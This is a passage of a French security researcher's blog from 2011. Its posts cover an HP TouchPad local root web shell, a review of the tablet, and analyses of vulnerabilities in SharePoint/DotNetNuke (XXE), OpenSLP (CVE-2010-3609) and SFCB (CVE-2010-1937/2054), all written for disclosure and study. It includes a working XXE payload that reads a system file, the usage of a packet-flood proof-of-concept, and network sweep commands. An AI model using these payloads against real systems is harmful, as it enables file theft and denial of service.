   doctype-public="-//W3C//DTD SVG 1.1//EN" />

En dehors de xmlsec et webkit, il existe bien d'autres vecteurs (dont le format PDF tel que supporté par Adobe Reader), avec lesquels je joue en fonction du temps que je peux y consacrer. Et il n'est pas improbable que de nouvelles vulnérabilités, liées à l'utilisation non restreinte de moteurs XSLT, aparraissent bientôt. Il est à noter que ces problèmes ne sont pas limités à libxslt, loin de là ! A titre d'exemple, Adobe Reader X utilise une très très vieille version de Sablotron ;-)


Posté par Nicolas Grégoire | permalien

lundi 19 septembre 2011, 21:06:14 (UTC+0200)

HP TouchPad : accéder localement au shell

Suite à mes premiers pas sur la tablette HP TouchPad, je souhaitais disposer d'un shell accessible localement (c'est-à-dire sans cable USB ni connexion réseau). Le client de base sous webOS étant le navigateur, un shell "webifié" semblait être une bonne solution. Après avoir regardé l'offre côté logiciels libres (et essayé les démos présentes sur le site d'AnyTerm), le logiciel shellinabox a été retenu, dans sa version svn (r239).


Pour mener à bien la manip décrite ci-dessous, il faut :

  • une machine Unix pour réaliser la compilation (ici Ubuntu x86 32 bits)
  • un compilateur cross-platform (ici celui de Sourcery)
  • un HP TouchPad accessible en ligne de commande via SSH ou novaterm (ici v3.0.2)

Première étape, le compilateur cross-platform ! En raison de soucis avec le compilateur inclus dans le PalmPDK, nous utiliserons Sourcery G++ Lite 2011.03-41 for ARM GNU/Linux. Le récapitulatif des différentes étapes :


Télécharger le fichier "IA32 GNU/Linux TAR" et le décompresser :

$> tar xvjf arm-2011.03-41-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2

Se déplacer dans le répertoire où sont stockés les binaires et les renommer afin de manipuler les noms usuels (gcc, objcopy, ...) :

$> cd arm-2011.03/bin
$> rename 's/arm-none-linux-gnueabi-//' *

Modifier $PATH afin de pointer d'abord vers ces binaires :

$> which gcc
/usr/bin/gcc
$> PATH=/home/nicob/arm-2011.03/bin:$PATH
$> export PATH
$> which gcc
/home/nicob/arm-2011.03/bin/gcc

Et voilà, le compilateur cross-platform sera donc appelé par défaut (dans ce shell) quand gcc sera invoqué.


Deuxième étape : OpenSSL ! Preware propose les paquets openssl et libssl, qui sont nécessaires à l'installation d'OpenSSH. Il serait donc possible d'utiliser ces paquets (ou ceux du canal parallèle ipkg-opt), mais cela créérait des problèmes de dépendances. Il faudrait en effet fournir un binaire pour les utilisateurs de Preware et un pour ceux de ikpg-opt, ou restreindre l'utilisation à un seul de ces catalogues alternatifs, ou encore fournir une n-ième version de ces paquets. Il reste aussi la possibilité de réaliser une compilation statique. Mais bon, étant donné que l'objectif est de se connecter localement (c'est-à-dire via l'interface de loopback), on peut tout aussi bien se passer de SSL et de ce problème ;-) Zou, c'est réglé ...


Troisième étape : compiler shellinabox après application des patchs "kivonbien"


On récupère la dernière version disponible sur Google Code :

$> svn checkout http://shellinabox.googlecode.com/svn/trunk/ shellinabox-svn
$> cd shellinabox-svn

On patch le fichier "vt100.js" (entre autres parceque la notion de "bouton droit" n'existe pas sous webOS) en se basant sur l'expérience d'un utilisateur de Reddit :

--- vt100.js.orig       2011-09-19 10:56:56.000000000 +0200
+++ vt100.js    2011-09-19 10:58:58.000000000 +0200
@@ -283,7 +283,7 @@
   this.visualBell           = typeof suppressAllAudio != 'undefined' &&
                               suppressAllAudio;
   this.autoprint            = true;
-  this.softKeyboard         = false;
+  this.softKeyboard         = true;
   this.blinkingCursor       = true;
   if (this.visualBell) {
     this.signature          = Math.floor(16807*this.signature + 1) %
@@ -1124,7 +1124,7 @@
 
 VT100.prototype.resizer = function() {
   // Hide onscreen soft keyboard
-  this.hideSoftKeyboard();
+  // this.hideSoftKeyboard();
 
   // The cursor can get corrupted if the print-preview is displayed in Firefox.
   // Recreating it, will repair it.

On configure pour ne supporter ni SSL ni PAM puis on compile :

$> ./configure --host=arm --disable-ssl --disable-pam 
$> make 

Voilà, il ne reste qu'à copier le fichier sur le TouchPad et à l'exécuter :

$> scp shellinaboxd root@192.168.33.201:
$> ssh root@192.168.33.201
NicolasHPTouchPad root # ./shellinaboxd -b --localhost-only

Vous pouvez désormais lancer accéder via le navigateur à http://127.0.0.1:4200/ (login = root, pas de mot de passe) :




Bon, il y a clairement des problèmes de mapping du clavier (typiquement, le "-" ne marche pas sur le clavier du TouchPad, il faut utiliser le clavier virtuel de l'application), mais ça permet d'avoir un shell minimaliste. Pour un usage au long cours, il faut lancer le binaire au démarrage de la tablette, par exemple en ajoutant une ligne "exec /path/to/shellinaboxd -b --localhost-only" à un script de démarrage quelconque comme celui d'OpenSSH. Pour les pressés et les téméraires qui veulent juste le binaire, il est disponible ici.


Depuis la semaine dernière, une autre façon de disposer d'un shell local sous HP TouchPad est proposée. En effet, les feeds Stable de Preware ont vu débarquer le triplet gagnant Xecutah / Xserver / Xterm :




Que choisir entre shellinabox et xterm ? Le second est maintenu par la communauté et sera probablement régulièrement actualisé. Mais il a une empreinte système assez importante : environ 33 Mo de RAM et 6% de CPU en tâche de fond, contre 2 Mo et quasiment pas de CPU. Bien sûr, le serveur X sera mutualisé quand d'autres d'applis X tourneront sur la tablette. Autre point négatif pour xterm : les curseurs ne sont pas présents (argh !). Du coup, je fais tourner shellinabox en tâche de fond, avec lancement de xterm si le besoin s'en fait sentir. En tout cas, voilà le problème de l'accès local au Linux sous-jacent résolu !


Note finale : si quelqu'un veut produire une version packagée pour webOS (au format IPK) de shellinabox, je serais ravi ... et ce serait l'occasion de créer un script de démarrage dédié ;-)


Posté par Nicolas Grégoire | permalien | dans : touchpad

jeudi 15 septembre 2011, 14:20:20 (UTC+0200)

Failles de type XEE dans SharePoint et DotNetNuke

Microsoft vient de publier les bulletins de sécurité du mois de Septembre, dont MS11-074 concernant (entre autres) SharePoint 2007 et 2010. Je dis "entre autres" car les logiciels impactés par CVE-2011-1892 incluent aussi :

  • côté client : Office Groove 2007 et SharePoint Workspace 2010
  • côté serveur : Office Forms Server 2007, Office Groove (Data Bridge|Management) Server 2007, Office Groove Server 2010
  • côté "cloud" : Office Web Apps 2010

Il est à noter que SharePoint 2003 n'est pas vulnérable, car il n'inclut pas le composant Web Part vulnérable.


Pour les personnes ne pratiquant pas couramment SharePoint, un "Web Part" (parfois appelé "Web Widget" ou "Portlet") est un composant ASP.Net exécuté côté serveur et intégrable depuis un navigateur à toute page accessible en modification. Le composant "XML Web Part" prend en paramètre des données (sous forme XML) et du code de mise en page (sous forme XSL) et renvoie le code XHTML correspondant aux données formatées. Cela permet par exemple d'intégrer un fil Twitter à une page SharePoint, comme décrit ici.


Le problème est causé par les entités XML externes, qui n'étaient pas interdites dans les versions vulnérables. Cela permettait à n'importe quel utilisateur authentifié d'inclure le composant XML Web Part dans une page et de le configurer pour accéder en lecture (avec les droits du compte IIS AppPool) au système de fichiers.


Illustrons le problème avec une capture d'écran et quelques lignes de code. Le composant #2 se contente d'afficher des informations obtenues via "system-property", alors que le #1 (que nous allons détailler) exploite la vulnérabilité :




Côté XML, on définit un champ "doc" dont la valeur correspond à la variable "boom", c'est-à-dire au contenu du fichier déclaré dans le DTD :

<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>

Et côté XSL, il suffit d'afficher la valeur du champ "doc" :

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="/">
        <xsl:apply-templates/>
                <xsl:value-of select="doc"/>
        </xsl:template>
</xsl:stylesheet>

Les syntaxes "c:\\..." ainsi que "http://..." ou "file://..." fonctionnent.


Evidemment, le bug n'est pas limité aux seuls outils Microsoft. Les autres applications, qu'elles soient "maison" ou "sur étagère", peuvent elles aussi être impactées. Par exemple, DotNetNuke propose un module XML permettant d'afficher le résultat de transformations XSL. La version 06.00.00 de ce module corrige une vulnérabilité similaire à CVE-2011-1892 (d'ailleurs, le même PoC fonctionne). Pas d'advisory, pas de crédit, pas de mention explicite dans le ChangeLog :-( Merci DotNetNuke, je m'en souviendrais si je trouve d'autres vulns dans vos produits ...




Si on regarde le code-source de la version 04.03.05 du module XML de DotNetNUke, on y trouve une fonction XmlSource() (fichier "XmlController.vb") qui appelle XmlReader.Create() avec XmlReaderSettingsWithoutValidation() comme paramètre. Cette dernière fonction est définie comme suit dans "Utils.vbs" :

Dim settings As New XmlReaderSettings()
   settings.ProhibitDtd = False
   settings.ValidationType = ValidationType.None

La documentation Microsoft (System.Xml Security Considerations) est très claire :

XML data can include references to external resources such as a schema file. By default external
resources are resolved using an XmlUrlResolver object with no user credentials. This means that, by
default, you can access any locations that do not require credentials. You can secure this further by
doing one of the following:
- Restrict the resources that the XmlReader can access by setting the XmlReaderSettings::XmlResolver
property to an XmlSecureResolver object.
- Do not allow the XmlReader to open any external resources by setting the XmlReaderSettings::XmlResolver
property to null.

L'ajout à la fonction XmlReaderSettingsWithoutValidation() de la ligne "settings.XmlResolver = null" aurait du coup suffi à corriger le problème, mais les développeurs ont préféré passer à MSXML6, qui interdit par défaut l'utilisation de DTD et du coup bloque l'attaque.


Pour conclure :

  • les XEE ne sont pas morts, bien qu'ils aient été publiquement décrits il y a près de 10 ans. Rien que cette année, j'en ai trouvé 3 (Liferay, DotNetNuke, SharePoint) en analysant des wrappers autour de XSLT et Apple en a corrigé un dans servermgrd pour MacOS X Server. Sans oublier le papier de Kingcope (et oui, un XEE sous Java permet de lister le contenu des répertoires !)
  • même si l'impact se limite à une lecture de fichier, il existe de nombreux cas où cela peut suffire à compromettre pleinement une application, typiquement par obtention d'un fichier "web.config", "server.xml" ou équivalent

EDIT du 15 septembre 2011 à 14h20 : typos diverses, capture d'écran DotNetNuke, ...


Posté par Nicolas Grégoire | permalien | dans : vulnérabilités, xslt

mercredi 31 août 2011, 23:32:10 (UTC+0200)

Premiers retours sur la tablette HP TouchPad

A moins d'avoir vécu dans une cave ces dernières semaines, vous avez entendu parler de la tablette HP TouchPad, vendue à l'origine 479€, puis 399€ et maintenant (enfin, quand il y a du stock) 99€. Ce qui causa un rush majeur et la saturation de plusieurs sites de e-commerce. J'ai réussi à me procurer une de ces tablettes, j'ai pas mal joué avec et voici ce qu'il en ressort ...


Tout d'abord, les aspects financiers. La tablette avec 16 Go de stockage s'achète à 99€ (pour les plus chanceux) en magasin et entre 200 et 300€ sur le marché spéculatif (Le Bon Coin, eBay, ...). Il est à noter que de nouveaux exemplaires seront vendus en ligne (à 99€ donc) dans les semaines qui viennent, que ce soit via Rue Du Commerce (le 7 Septembre) ou en direct chez HP (plus tard). Ensuite, les accessoires : HP fait de très grosses promos via sa boutique (commande par téléphone exclusivement), ce qui permet d'acheter l'étui (très bien coupé, rien à voir avec les produits "compatibles") et le chargeur par induction (la classe !) pour 65€ seulement. Si on ajoute à cela les offres promotionnelles incluses dans la tablette (ex : 50 Go chez box.net), on obtient un outil pleinement fonctionnel, mobile et performant pour moins de 200€. Une révolution ...


Le système d'exploitation est webOS 3, basé sur Linux. La version courante est la 3.0.2 68 sortie début Août et qui corrige entre autres ma vulnérabilité Webkit/XSLT CVE-2011-1774. Quasiment tout tourne avec les droits root :

NicolasHPTouchPad root # uname -a
Linux NicolasHPTouchPad 2.6.35-palm-tenderloin #2 SMP PREEMPT Sat Aug 6 17:50:47 HST 2011 armv7l GNU/Linux

NicolasHPTouchPad root # ps auwx|grep -v ^root
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
nobody    1966  0.0  0.1   3932  1272 ?        Ss   13:51   0:01 /usr/sbin/mdnsd -debug
pulse     1984 10.3  0.6 245632  5780 ?        S.sl 13:51  19:10 /usr/bin/pulseaudio --log-target=syslog
luna      2050 26.5 12.5 397756 118332 ?       RLsl 13:51  48:55 /usr/bin/BrowserServer -d 30000
luna      2051  0.0  1.4  58824 13216 ?        SLs  13:51   0:01 /usr/bin/BrowserServerMojo

Il n'y a pas de notion de jail-break sur cet équipement, l'environnement étant volontairement ouvert. Il est ainsi trivial d'obtenir un shell root depuis un ordinateur équipé de Java et connecté par USB à la tablette, via novaterm et le kit de développement. On peut toutefois regretter de ne pas pouvoir accéder à un shell depuis la tablette elle-même (on y reviendra).


La notice d'utilisation est succinte, mais différentes astuces sont déjà recensées sur le Net. En vrac, le clavier virtuel, la zone de notification, le rangement des icônes, ...


Côté applicatif, je m'en suis pour le moment sorti sans acheter la moindre application. Par défaut, les logiciels Acrobat Reader, Skype, ainsi qu'un navigateur et client de messagerie (plus d'autres trucs) sont disponibles. Grosso modo, il existe deux catalogues d'applications :

  • App Catalog, la version officielle accessible nativement depuis la tablette et proposant des applications "classiques"
  • Preware, installable entre autres via le kit de développement et fournissant lui aussi des applications "classiques" mais aussi des patchs (performances, sécurité, rendu graphique), des noyaux optimisés, des outils de monitoring (Govnah), des composants Linux comme SSH (au choix openssh ou dropbear), bash, diff, ... Tout simplement indispensable !

D'ailleurs, un moyen simple d'encourager Preware consiste à acheter leur doc à 1€ et à rédiger une critique positive.


Pour les joueurs : Angry Birds (4 versions disponibles dont la HD soit une tonne de tableaux), Cosmic Nitro pour se défouler et salir son écran et des jeux "mathématiques" comme Woodenigma, Totemo Lite ou le classique Sudoku. Les enfants (dès leur plus jeune âge en raison de la convivialité de l'interface) ne sont pas oubliés : Scooby-Doo, Memory, Doodle, Differences.


Certaines incohérences existent côté App Catalog. Par exemple, le lecteur video KalemSoft est disponible en v0.3.4 à 7€ sur l'App Catalog, alors que la v0.3.7 est librement téléchargeable au format IPK depuis le site de l'éditeur. Il suffit ensuite d'installer le paquet via Preware, typiquement en accédant le lien depuis le TouchPad. Ce qui tombe bien, vu que c'est le seul lecteur vidéo potable que j'ai pu trouver ;-)


Evidemment, j'ai aussi regardé les aspects Sécurité. Tout d'abord, HP fournit des mises à jour OTA ("over the air") relativement rapidement (CVE-2011-1774 a été corrigée 3 semaines après notification). Pour les besoins de plus grande réactivité (par exemple le coup des certificats DigiNotar), Preware répond parfaitement au besoin en publiant un patch dans les heures qui ont suivi. Toutefois, cela reste un Linux avec une GUI tournant avec les droits root et une surface d'attaque "client side" assez importante. Evidemment, pas de chiffrement intégral, ni même partiel (à la TrueCrypt), juste quelques gestionnaires de mots de passe comme CryptoNotes ou SecuStore (non testés).


Si on veut utiliser la tablette comme outil d'attaque, on note rapidement la présence d'un chipset Atheros AR600x, qui équipe aussi OpenMoko et le Kindle, et qui semble être utilisable pour sniffer voire injecter des paquets ;-) Cela pourrait être utile le jour où BackTrack y sera installable facilement. Quelques outils de reconnaissance sont disponibles nativement, comme pscan et arping :

NicolasHPTouchPad root # for i in `seq 1 254`
> do
> arping  -w 1 -c 1 192.168.1.$i|grep reply
> done
Unicast reply from 192.168.1.1 [00:DE:AD:31:0B:01]  7.798ms
Unicast reply from 192.168.1.89 [00:BE:EF:76:01:89]  108.174ms
Unicast reply from 192.168.1.202 [00:BA:BE:14:D4:F8]  108.174ms

NicolasHPTouchPad root # pscan 192.168.1.1
Scanning 192.168.1.1 ports 1 to 1024
 Port   Proto   State   Service
  443   tcp     open    https
1023 closed, 1 open, 0 timed out (or blocked) ports

Enfin, Preware propose Impostah qui permet de consulter voire éditer des dizaines d'options différentes. C'est impossible à résumer, alors voici juste un exemple : il est possible de basculer d'un compte webOS (lié à un pays) à un autre et ainsi de contourner les restrictions géographiques présentes dans l'App Catalog afin d'installer le Kindle. Dans ce cas précis, on peut aussi se contenter d'installer via Preware le paquet IPK correspondant, disponible sur le Net sous le nom de com.palm.app.kindle_0.10.494660_all.ipk.


Pour conclure, je suis très content de mon achat, qui est déjà très utile en soi et qui surtout fournit un terrain d'investigation intéressant. Son potentiel devrait croître rapidement dans les mois à venir, en raison de la multiplication des utilisateurs et donc de l'offre logicielle. De plus, j'apprécie l'esprit dans lequel HP s'est placé en fournissant tous les moyens possibles d'accès au coeur du système, dont un émulateur fonctionnant sous VirtualBox. Ainsi, plus d'excuse pour ne pas plonger les mains dans le cambouis pour faire les modifications souhaitées. Du coup, je bosse sur une version de shellinabox pour TouchPad. Plus d'infos quand cela sera pleinement fonctionnel !


Posté par Nicolas Grégoire | permalien | dans : xslt, touchpad

lundi 25 juillet 2011, 14:50:16 (UTC+0200)

Audit partiel des composants Open Source intégrés à VMware ESX (SLP)

Cet article est la deuxième partie d'une étude partielle des composants Open Source intégrés aux produits VMware. La partie précédente, traitant de WBEM et SFCB est accessible ici. Cette fois, le focus se fera sur le composant SLP (pour Service Location Protocol).


SLP permet aux différents équipements d'un réseau de connaitre les services offerts sur ce réseau. Typiquement, un équipement agit en tant que client (dit User Agent ou UA) et/ou en tant que serveur (dit Service Agent ou SA). Dans les gros déploiements, des équipements additionnels (Directory Agents ou DA) permettent de limiter le trafic échangé. Les communications utilisent UDP et le port 427, à moins que les données soient trop grandes pour un seul paquet, auquel cas TCP est employé (sur le même port). Les annonces et les recherches sont usuellement réalisées en multicast. La version 1 de ce protocole est définie par la RFC 2165 alors que la version 2 l'est par la RFC 2608.


Les produits VMware ESX, tout comme Novell eDirectory, utilisent l'implémentation de référence OpenSLP, connue pour tourner sous de nombreux OS dont Windows, Linux, FreeBSD, MacOS X, Solaris, ... Le logiciel est distribué sous licence Caldera (similaire à la licence BSD), ce qui permet son utilisation en partie ou en totalité dans des logiciels propriétaires. Ce point sera à garder en mémoire si on souhaite maintenir une liste des implémentations vulnérables. La version utilisée lors des tests est la 1.2.1, qui fut publiée en *2005* afin d'intégrer les correctifs de sécurité proposés par l'équipe de SUSE suite à son audit de code.


Afin de rester dans le scénario du pari (compromission depuis le réseau d'administration), les routines de parsing des paquets reçus furent les premières examinées. L'équipe SUSE avait bien bossé, les nombreux offsets étant systématiquement validés avant usage. Enfin de cibler facilement le code exercé par des paquets malformés, l'extension lcov (un front-end graphique à l'outil de couverture de code gcov fourni avec GCC) fut utilisée :



Il apparut rapidement que la fonction de traitement des extensions SLP v2 présentait un problème classique de parcours de liste chainée :

850     static int v2ParseExtension(SLPBuffer buffer, SLPMessage * msg)
851     {
852     /*  0                   1                   2                   3
853         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
854        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
855        |         Extension ID          |       Next Extension Offset   |
856        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
857        | Offset, contd.|                Extension Data                 \
858        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */
859     
860        int result = 0;
861        int nextoffset = msg->header.extoffset;
862        while (nextoffset)
863        {
864           int extid;
865           buffer->curpos = buffer->start + nextoffset;
866           if (buffer->curpos + 5 > buffer->end)
867              return SLP_ERROR_PARSE_ERROR;
868     
869           extid = GetUINT16(&buffer->curpos);
870           nextoffset = GetUINT24(&buffer->curpos);
871           switch (extid)
872           {
                 [ ... encore du code ... ]
892           }
893        }
894        return result;
895     }

Ce qui peut être interprété comme suit :

  • Si la valeur de msg->header.extoffset est différente de zéro (ligne 862) alors on avance jusqu'à cette extension (ligne 865)
  • Une erreur est levée si le buffer ne contient pas de quoi stocker une extension de taille minimale, soit 5 octets (ligne 867)
  • L'extension courante est traitée (ligne 871) et le traitement se poursuit si nextoffset est différent de zéro (ligne 862)

Cette section de code contient une vulnérabilité de type déni de service, saurez-vous trouver laquelle ?

La réponse est donnée quelques lignes plus bas ...

.
.
.
.
.
.
.

Cette vulnérabilité est liée à l'utilisation de nextoffset, qui est un pointeur relatif au début du paquet : une boucle infinie sera créée si une extension pointe vers elle-même ou vers une extension précédente (CVE-2010-3609). En effet, un invariant implicite n'est jamais vérifié. Cet invariant pourrait être exprimé sous la forme suivante : "le pointeur vers l'extension suivante doit être supérieur ou égal au pointeur vers l'extension courante additionné de la taille minimale d'une extension (5 octets)". Pour autant, l'implémentation de cet invariant n'a pas été retenu par les développeurs OpenSLP, ceux-ci optant pour une solution amha bien plus compliquée, consistant à construire et vérifier une liste d'extensions (cf. diff coloré). Mais bon, le correctif fait bien son travail, donc on ne va pas chipoter sur l'élégance de la chose.


Les plus astucieux auront détecté (lignes 865 et 866) quelque chose ressemblant étrangement à un débordement d'entier. Bien vu ! Sauf que la variable buffer->curpos à laquelle on ajoute 5 vient du champ nextoffset qui est sur seulement 3 octets. Donc, à moins que buffer->start (que l'attaquant ne contrôle pas) soit supérieur à 0xFF000000, cela n'est pas exploitable.


Côté correctifs :

  • La version stable d'OpenSLP n'inclut pas encore de correctif, neuf mois après la correction du trunk
  • VMware a publié des correctifs pour ESXi et ESX v4
  • Novell semble s'être contenté de proposer des correctifs pour les différentes versions de SUSE Linux, oubliant (ou patchant silencieusement) son annuaire eDirectory
  • SUSE utilise son propre patch, bien plus simple que celui d'OpenSLP (10 lignes au lieu de 60)
  • Ce patch Suse a été réutilisé par Ubuntu et le sera par RedHat et Fedora

Petit zoom sur le patch écrit par SUSE :
--- openslp-dfsg-1.2.1.orig/common/slp_message.c
+++ openslp-dfsg-1.2.1/common/slp_message.c
@@ -872,10 +872,19 @@
     int             extid;
     int             nextoffset;
     int             result  = SLP_ERROR_OK;
+    int             bufsz = (int)(buffer->end - buffer->start);
 
     nextoffset = message->header.extoffset;
     while(nextoffset)
     {
+        /* check for circular reference in list
+         * if the size gets below zero, we know we're
+         * reprocessing extensions in a loop.
+         */
+        bufsz -= 5;
+        if (bufsz <= 0) 
+            return SLP_ERROR_PARSE_ERROR;
+
         buffer->curpos = buffer->start + nextoffset;
         if(buffer->curpos + 5 >= buffer->end)
         {

Le CERT-US a été contacté afin de faciliter la synchronisation entre éditeurs, mais sa note VU#393783 sur le sujet ne couvre que quelques éditeurs. En effet, d'autres implémentations (ex: mSLP en Java) semblent être elles aussi vulnérables. Enfin, certains standards (comme SMI-S pour le stockage) imposent l'utilisation de SLP. On trouve en ligne des détails sur les tests de conformité SNIA et la liste des sociétés conformes, donc proposant un service SLP potentiellement vulnérable.


En terme d'exploitation, les vecteurs sont nombreux. Plusieurs types de requêtes (dont ServerRequest et AttributeRequest) autorisent les extensions. Et le code vulnérable est joignable en TCP ou UDP unicast, ainsi qu'en UDP broadcast et multicast. Un seul paquet spoofé peut donc suffire à saturer un nombre important d'équipements, par exemple des baies SAN, des imprimantes ou des annuaires. Un serveur VMware sera relativement épargné, seule la CPU réservée à la machine virtuelle Service Console (ou COS) étant occupée.


Un PoC permettant de déclencher le bug dans diverses conditions (SLPick.py) est disponible. Il permet d'exploiter la totalité des vecteurs réseau :

$> ./SLPick.py -h
[=] SLPick : SLP client v0.4 (by Nicolas Gregoire)
Usage : ./SLPick.py [-h] [-m mode] [-p port] [-n number] [-s source_IP] [-t target_IP]
        [-h] Help (this text)
        [-m] Mode : tcp / unicast / broadcast / multicast (default is "unicast")
        [-p] Port : default is "427"
        [-s] Source IP Adress : no default (used only in multicast mode)
        [-t] Target IP Adress : no default (forced in multicast mode)
        [-n] Number of extensions : 0 (no bug) / 1 (default) / 2 (trailing extension)
        [-r] Request type : sr (ServerRequest, default) / ar (AttributeRequest)

Posté par Nicolas Grégoire | permalien | dans : vulnérabilités

dimanche 10 juillet 2011, 21:00:02 (UTC+0200)

Audit partiel des composants Open Source intégrés à VMware ESX (SFCB)

Suite à un pari (que j'ai depuis perdu) avec Marc Olanié, je devais trouver une exécution de code à distance dans les produits ESX/vSphere de VMware, simplement en lisant le code de projets Open Source embarqués dans ces produits. Cet article a pour objectif de présenter les vulnérabilités identifiées lors de cette analyse et leur impact (ou pas) sur ESX/vSphere. De plus, la publication des détails techniques permettra d'identifier d'autres produits incluant des versions vulnérables de ces composants ou souffrant de bugs similaires. La première partie, ici présente, couvre le serveur CIMOM, alors que la deuxième (à venir) abordera SLP.


WBEM est une suite de protocoles veillant à fournir aux administrateurs d'informatique distribuée (dite Cloud) des outils centralisés de gestion, suivi et déploiement. SBLIM est l'implémentation de référence, sous Linux, de ces protocoles. La partie "serveur CIMOM" (pour Common Information Model Object Manager) est implémentée sous le nom de SFCB.


sfcbd (version testée : 1.3.6) écoute sur les ports TCP/5988 (HTTP) ou TCP/5989 (HTTPS) et accepte les requêtes POST et M-POST. Ce service étant avant tout un serveur Web "maison", la première chose à tester (en dehors du GET de 4100 caractères ;-) est la gestion de l'en-tête Content-Length, vu le nombre de vulnérabilités liées à ce traitement (Opera, Nagios, CA iGateway, Quicktime, Apache mod_proxy, Novell eDirectory, ...). Et on n'est pas déçu, l'oeil étant immédiatement attiré par un memcpy() (ligne 406) réalisé sur un tampon dont la taille est fournie par l'attaquant (ligne 405) :

401     static int getPayload(CommHndl conn_fd, Buffer * b)
402     {
403        unsigned int c = b->length - b->ptr;
404        int rc = 0;
405        b->content = (char *) malloc(b->content_length + 8);
406        if (c) memcpy(b->content, (b->data) + b->ptr, c);
407     
408        if (c > b->content_length) {
409          mlogf(M_INFO,M_SHOW,"--- HTTP Content-Length is lying; content truncated\n");
410          c = b->content_length;
411        }
412     
413        rc = readData(conn_fd, (b->content) + c, b->content_length - c);
414        *((b->content) + b->content_length) = 0;
415        return rc;
416     }

Le critère de taille est bel et bien vérifié, mais *après* la copie, donc trop tard. Et hop, un heap overflow (CVE-2010-1937) ! Le correctif pour cette vulnérabilité est trivial, et consiste simplement à vérifier les données *avant* de les utiliser (cf. le diff coloré). Ce qui donne ce type de code :

401     static int getPayload(CommHndl conn_fd, Buffer * b)
402     {
403        unsigned int c = b->length - b->ptr;
404        int rc = 0;
405     
406        if (c > b->content_length) {
407          mlogf(M_INFO, M_SHOW,
408                "--- HTTP Content-Length is lying; rejecting %d %d\n", c, b->content_length);
409          return -1;
410        }
411     
412        b->content = (char *) malloc(b->content_length + 8);
413        if (c) memcpy(b->content, (b->data) + b->ptr, c);
414     
415        rc = readData(conn_fd, (b->content) + c, b->content_length - c);
416        *((b->content) + b->content_length) = 0;
417        return rc;
418     }

Pour autant, l'instruction malloc(b->content_length + 8) (ligne 412) est toujours vulnérable à un débordement d'entier débouchant sur un débordement de tampon si aucune vérification préalable n'a lieu. La fonction doHttpRequest() réalise en amont diverses vérifications sur la valeur du champ Content-Length, dont deux qui nous intéressent dans le cas présent :

841              unsigned int maxLen;
842              if (getControlUNum("httpMaxContentLength", &maxLen) != 0) {
843                genError(conn_fd, &inBuf, 501, "Server misconfigured (httpMaxContentLength)", NULL);
844                _SFCB_TRACE(1, ("--- exiting: bad config httpMaxContentLength"));
845                commClose(conn_fd);
846                exit(1);
847              }
848              if((clen >= UINT_MAX) || ((maxLen) && (clen > maxLen))) {
849                 genError(conn_fd, &inBuf, 413, "Request Entity Too Large", NULL);
850                 _SFCB_TRACE(1, ("--- exiting: content-length too big"));      
851                 commClose(conn_fd);
852                 exit(1);
853              }
854              inBuf.content_length = clen;

La variable clen correspond au b->content_length de getPayload(). Nous avons donc trois cas possibles, selon la valeur de l'option de configuration httpMaxContentLength :

  • elle n'est pas définie dans le fichier de configuration => une erreur est levée
  • elle est définie et vaut zéro => la variable clen doit être inférieure à UINT_MAX
  • elle est définie et est différente de zéro => la variable clen doit être inférieure à UINT_MAX et inférieure ou égale à httpMaxContentLength

Ce débordement d'entier est donc exploitable (CVE-2010-2054) si httpMaxContentLength vaut zéro ou est légèrement inférieure à UINT_MAX. Le correctif (cf. diff coloré) se contente d'interdire la valeur zéro :

842              if ((getControlUNum("httpMaxContentLength", &maxLen) != 0) || (maxLen == 0)) {

La couverture n'est donc pas totale. Un administrateur mal intentionné pourrait par exemple positioner la variable à 4.294.967.290 (soit UINT_MAX - 5), et ainsi introduire un heap overflow exploitable à distance et sans authentification, sans pour autant impacter les aspects fonctionnels :-(


Je me sentais du coup bien parti pour gagner mon pari ! Sauf que les versions testées à l'époque (VMware ESXi 3.5, ESXi 4 et ESX 4) intégraient une version antérieure et modifiée de sfcbd (v1.3.3 sous ESX 4). CVE-2010-1937 y a été corrigé (silencieusement, c'est-à-dire sans informer ni ses clients ni le projet Open Source d'origine) et CVE-2010-2054 n'affecte pas les versions inférieures à 1.3.4.


Carrramba ! Encore raté ! Mais bon, la surface d'attaque d'un ESX côté réseau d'administration est vaste, et SLP fera l'objet de la deuxième partie de cette étude ...


Posté par Nicolas Grégoire | permalien | dans : vulnérabilités

webmaster@agarri.fr
Copyright 2010-2011 Agarri